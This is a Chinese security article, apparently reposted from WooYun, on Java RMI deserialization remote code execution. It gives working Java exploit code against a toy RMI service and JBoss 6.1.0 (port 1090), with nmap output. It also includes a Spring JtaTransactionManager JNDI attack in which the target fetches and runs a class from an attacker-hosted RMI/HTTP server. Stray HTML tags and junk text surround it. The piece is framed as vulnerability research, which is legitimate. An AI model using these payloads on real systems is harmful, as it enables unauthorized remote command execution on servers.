<dd id="sga4y"><optgroup id="sga4y"></optgroup></dd>
<nav id="sga4y"><code id="sga4y"></code></nav>
  • <optgroup id="sga4y"></optgroup>

    原文地址:http://drops.wooyun.org/papers/13056

    Author:angelwhu

    0x00 背景


    在闡述java反序列化漏洞時,原文中提到:

    Java LOVES sending serialized objects all over the place. For example:

    In HTTP requests – Parameters, ViewState, Cookies, you name it.

    RMI – The extensively used Java RMI protocol is 100% based on serialization
    RMI over HTTP – Many Java thick client web apps use this – again 100% serialized objects

    JMX – Again, relies on serialized objects being shot over the wire Custom Protocols – Sending an receiving raw Java objects is the norm – which we’ll see in some of the exploits to come

    在java使用RMI機制時,會使用序列化對象進行數據傳輸。這就會產生java反序列化漏洞。利用范圍是很大。

    之后,綠盟科技提到了JBoss中存在RMI機制方面的漏洞。最近又有了spring框架RCE漏洞,這個漏洞利用與RMI密切相關。

    這里便整理關于RMI漏洞的相關漏洞,并進行簡要利用分析。

    0x01 RMI簡介


    摘自網絡的簡要介紹:

    RMI是Remote Method Invocation的簡稱,是J2SE的一部分,能夠讓程序員開發出基于Java的分布式應用。一個RMI對象是一個遠程Java對象,可以從另一個Java虛擬機上(甚至跨過網絡)調用它的方法,可以像調用本地Java對象的方法一樣調用遠程對象的方法,使分布在不同的JVM中的對象的外表和行為都像本地對象一樣。

    這里看出它的功能中是可以通過網絡進行對象的傳輸,使其可以進行遠程對象調用。下面就寫一個簡單的RMI程序,說明其存在反序列化漏洞問題。

    0x02 RMI應用程序攻擊


    首先簡單的實現一個服務端,啟用RMI服務,綁定在6600端口:

    #!java
    public class Run {
    
        public static void main(String[] args) {
            try {
                //PersonServiceInterface personService=new PersonServiceImp();
                //注冊通訊端口
                LocateRegistry.createRegistry(6600);
                //注冊通訊路徑
                //Naming.rebind("rmi://127.0.0.1:6600/PersonService", personService);
                System.out.println("Service Start!");
            } catch (Exception e) {
                // TODO Auto-generated catch block
                e.printStackTrace();
            }
        }
    
    }
    

    上述代碼中代碼中,本來我使用bind函數,將personService對象綁定在服務器端供外部調用。

    但我發現,即使沒有任何對象綁定,只是用一行代碼LocateRegistry.createRegistry(6600);,開通RMI服務。然后,通過訪問服務端口(這里的6600端口),即可實現反序列化攻擊。

    這里進行利用當然遵從java反序列化漏洞中一個條件:Apache Commons Collections或者其他存在缺陷的第三方庫包含在lib路徑中。這里使用的是commons-collections-3.1.jar,將其加入到lib路徑中。

    這樣,上述簡單的RMI應用程序滿足了反序列化漏洞的兩個條件:

    攻擊代碼的編寫:

    #!java
    Object instance = PayloadGeneration.generateExecPayload("calc");
    
    InvocationHandler h = (InvocationHandler) instance;
    Remote r = Remote.class.cast(Proxy.newProxyInstance(Remote.class.getClassLoader(),new Class[]{Remote.class},h));//動態代理Rmote接口。
    Registry registry = LocateRegistry.getRegistry(ip, port);//服務器端的ip和端口
    try{
        registry.bind("pwned", r); // r is remote obj
    }
    catch (Throwable e) 
    {
        e.printStackTrace();
    }
    

    這里將java反序列化漏洞的payload封裝了下,PayloadGeneration.generateExecPayload("calc");會產生一個執行calc命令的對象,有興趣的可以在我的github上查看源碼。然后,將我們的payload發送到RMI服務端口進行攻擊。

    registry.bind("pwned", r);中r對象必須繼承Remote接口。所以這里使用了java動態代理技術來代理Remote接口并生成其對象r。然后使用bind函數便可將攻擊payload發送到RMI服務中,遠程執行calc命令,攻擊完成。本機測試如下:

    這里可以看到,只要應用服務器上使用了RMI服務,并使用了Apache Commons Collections第三方庫,就可能存在反序列化命令執行的漏洞。

    值得關注的是,RMI服務的攻擊,同樣可以使用URLClassLoader方法進行回顯。

    #!java
    Object instance = PayloadGeneration.generateURLClassLoaderPayload("http://****/java/", "exploit.ErrorBaseExec", "do_exec", "pwd"); 
    

    同樣,將封裝好的payload換成URLClassLoader的攻擊負載。便能加載遠程的exploit.ErrorBaseError類,執行pwd命令,即可回顯。這是我在Ubuntu上運行服務端進行的測試結果。

    這里說明了應用程序在使用RMI機制時,會存在反序列化的問題。如果恰好使用了有缺陷的第三方庫,那就可以遠程命令執行了。接下來,看看實際場景中的相關漏洞。

    0x03 JBoss RMI攻擊利用


    JBOSS符合我們在上述討論中的兩個條件:

    在綠盟科技的文章中,提到了JBOSS中存在使用RMI機制的問題,可以在JMXInvoker刪除的情況下獲取shell。 于是可以這樣重現命令執行。

    使用如下命令啟動jboss,默認就會對外開放所有端口。當然10.10.10.135代表本機ip。

    #!bash
    ./run.sh -b 10.10.10.135  
    

    首先,掃描一下jboss服務器端口,這里我使用的是jboss-6.1.0.Final版本,安裝在Ubuntu虛擬機中。使用nmap掃描結果如下:

    #!bash
    1090/tcp open  ff-fms
    1091/tcp open  ff-sm
    1098/tcp open  rmiactivation
    1099/tcp open  rmiregistry
    4446/tcp open  n1-fwp
    5500/tcp open  hotline
    8009/tcp open  ajp13
    8080/tcp open  http-proxy
    8083/tcp open  us-srv  
    

    發現1090端口和1099端口對外開放了。也就是說RMI服務對外開放了。

    在這里說一下,在jboss利用上面,按照原文的代碼利用,沒有重現成功。其中有payload的問題,所以使用了我自己寫的封裝好的payload,比較方便。另外,我們一開始認為攻擊1099端口,我的好同學研究發現應該是1090端口,這才攻擊成功。

    于是有了以下攻擊代碼:

    #!java
    Object instance = PayloadGeneration.generateURLClassLoaderPayload("http://******:8080/java/", "exploit.ErrorBaseExec", "do_exec", "pwd"); 
    
    InvocationHandler h = (InvocationHandler) instance;
    Remote r = Remote.class.cast(Proxy.newProxyInstance(Remote.class.getClassLoader(),new Class[]{Remote.class},h));
    Registry registry = LocateRegistry.getRegistry("10.10.10.135", 1090);
    try{
        registry.bind("pwned", r); // r is remote obj
    }
    catch (Throwable e) 
    {
        e.printStackTrace();
    }   
    

    運行代碼,并攻擊Jboss可以得到如下執行結果:

    0x04 Spring framework遠程命令執行分析


    這個漏洞涉及JNDI和RMI服務,比較有趣。代碼細節分析請參考資料中的第三個,分析的非常好,就不班門弄斧了。這里簡單理清這個攻擊的步驟。

    Apache Commons Collections這個庫的反序列化利用類似,我們需要將spring框架中的lib包,包含在CLASSPATH中。這個要求比較苛刻,需要的包也比較多:

    翻譯下原文的命令執行代碼鏈:

    spring-tx.jar中包含org.springframework.transaction.jta.JtaTransactionManager類,這個類存在JNDI的反序列化問題。
    它的readObject() 方法執行中含有這樣的一個路徑:

    #!bash
    initUserTransactionAndTransactionManager()->
    lookupUserTransaction()->
    JndiTemplate.lookup()->
    InitialContext.lookup(userTransactionName)  
    

    InitialContext.Lookup() 會調用 userTransactionName屬性,這個屬性是我們可以控制的。
    查閱JNDI使用,可以發現userTransactionName屬性可以是一個外網的RMI路徑,比如:rmi://10.10.10.1:1099/Object

    于是我們可以自己搭建一個RMI服務器,讓目標服務器來訪問下載執行準備好的任意java代碼。
    服務端搭建在Ubuntu虛擬機上,簡單地建立一個socket進行數據傳輸并反序列化解析。代碼自行查閱github~~

    簡要畫的原理如下:

    Client端即為攻擊方,它向目標服務器發送JtaTransactionManager序列化對象后,會觸發server端進行訪問Client端(即:這時的RMI服務器端)中的RMI服務,去下載任意java對象進行執行。關鍵代碼為:

    #!java
    //創建RMI服務
    Registry registry = LocateRegistry.createRegistry(1099);
    Reference reference = new javax.naming.Reference("client.ExportObject","client.ExportObject","http://"+ localAddress +"/");
    //訪問rmi服務時,會轉到該url地址中下載client.ExportObject類,并新建對象。
    
    ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(reference);
    registry.bind("Object", referenceWrapper);
    
    String jndiAddress = "rmi://"+localAddress+":1099/Object";
    //通過jndi訪問rmi服務
    
    org.springframework.transaction.jta.JtaTransactionManager object = new org.springframework.transaction.jta.JtaTransactionManager();
    object.setUserTransactionName(jndiAddress);
    

    測試遠程執行ifconfig命令,可在服務端看到執行成功,同時客戶端看到了訪問記錄。結果如下:

    0x05 結語


    java反序列漏洞影響很大,RMI機制也是冰山一角。期待相互交流研究。

    0x06 參考資料及源碼


    97av